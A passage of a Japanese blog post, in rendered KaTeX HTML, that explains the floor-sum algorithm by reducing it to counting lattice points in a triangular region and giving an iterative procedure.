<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x3088;&#x3046;&#x306A; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x5185;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2301em;vertical-align:-0.35em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8801em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x3068;&#x306A;&#x308B;&#x3002;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x3001;&#x3053;&#x306E;&#x5F0F;&#x306E;&#x5024;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3067;&#x3042;&#x308A;&#x3001;&#x5358;&#x8ABF;&#x6E1B;&#x5C11;&#x6027;&#x3088;&#x308A;&#x3001; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6986em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x3082;&#x3053;&#x306E;&#x5F0F;&#x306E;&#x5024;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306A;&#x306E;&#x3067;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span> &#x3060;&#x3051;&#x3092;&#x8003;&#x616E;&#x3059;&#x308C;&#x3070;&#x5341;&#x5206;&#x3067;&#x3042;&#x308B;&#x3002;<br>
&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306E;&#x5185;&#x90E8;&#x53CA;&#x3073;&#x5883;&#x754C;&#x4E0A;&#x306B;&#x5B58;&#x5728;&#x3059;&#x308B;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x306F;&#x4EE5;&#x4E0B;&#x306E;&#x5F0F;&#x3067;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x308B;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span></span></span></span></p>
</details>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mord"></span></span></span></span></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#x9818;&#x57DF;&#x306E;&#x5883;&#x754C;&#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord" style="color:#df0030;">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x3060;&#x3068;&#x6271;&#x3044;&#x306B;&#x304F;&#x3044;&#x306E;&#x3067;&#x3001;x&#x8EF8;&#x6B63;&#x65B9;&#x5411;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x3060;&#x3051;&#x5E73;&#x884C;&#x79FB;&#x52D5;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">&#x2223;</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mclose">}</span></span></span></span> &#x3068;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<p>&#x4EE5;&#x4E0A;&#x306E;&#x3053;&#x3068;&#x304B;&#x3089;&#x3001;floor sum&#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span> &#x3064;&#x306E;&#x5B9A;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x3092;&#x7528;&#x3044;&#x305F;&#x9818;&#x57DF; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">&#x2223;</span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">}</span></span></span></span> &#x306E;&#x5185;&#x90E8;&#x53CA;&#x3073;&#x5883;&#x754C;&#x4E0A;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3092;&#x6570;&#x3048;&#x308B;&#x554F;&#x984C;&#x306B;&#x5E30;&#x7740;&#x3055;&#x308C;&#x308B;&#x3053;&#x3068;&#x304C;&#x793A;&#x3055;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><h2 id="%E4%B8%89%E8%A7%92%E5%BD%A2%E9%A0%98%E5%9F%9F%E5%86%85%E3%81%AE%E6%A0%BC%E5%AD%90%E7%82%B9%E3%81%AE%E6%95%B0%E3%81%88%E4%B8%8A%E3%81%92">&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x5185;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x6570;&#x3048;&#x4E0A;&#x3052;</h2><!--kg-card-begin: markdown--><p>&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mopen">{(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">&#x2223;</span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">}</span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x5185;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> &#x306E;&#x3088;&#x3046;&#x306A;&#x7DCF;&#x548C;&#x516C;&#x5F0F;&#x3092;&#x7528;&#x3044;&#x3066;&#x4E00;&#x77AC;&#x3067;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x306F;&#x3067;&#x304D;&#x307E;&#x305B;&#x3093;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x6C42;&#x3081;&#x3089;&#x308C;&#x308B;&#x90E8;&#x5206;&#x304B;&#x3089;&#x9806;&#x6B21;&#x5207;&#x308A;&#x53D6;&#x3063;&#x3066;&#x3044;&#x304F;&#x3088;&#x3046;&#x306B;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x4EE5;&#x4E0B;&#x3067;&#x306F;&#x3001;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x306E;&#x5883;&#x754C;&#x7DDA;&#x3067;&#x3042;&#x308B;&#x76F4;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306E;&#x3053;&#x3068;&#x3092;&#x76F4;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> &#x3068;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<p>&#x5177;&#x4F53;&#x7684;&#x306B;&#x306F;&#x4EE5;&#x4E0B;&#x306E;&#x624B;&#x9806;&#x3092;&#x3001;<strong>&#x7D42;&#x4E86;&#x3068;&#x8A00;&#x308F;&#x308C;&#x308B;&#x307E;&#x3067;</strong>&#x7E70;&#x308A;&#x8FD4;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<ol>
<li>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x304C;&#x8CA0;&#x306A;&#x3089;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x3002;</li>
<li>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x306A;&#x3089; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x3092;&#x5165;&#x308C;&#x66FF;&#x3048;&#x308B;&#x3002;</li>
<li>&#x3082;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x306E;&#x500D;&#x6570;&#x306A;&#x3089;&#x3001;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.3899em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.1123em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.4518em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">A</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mord"><span class="delimsizing size3">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.3899em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.1123em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.4518em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" 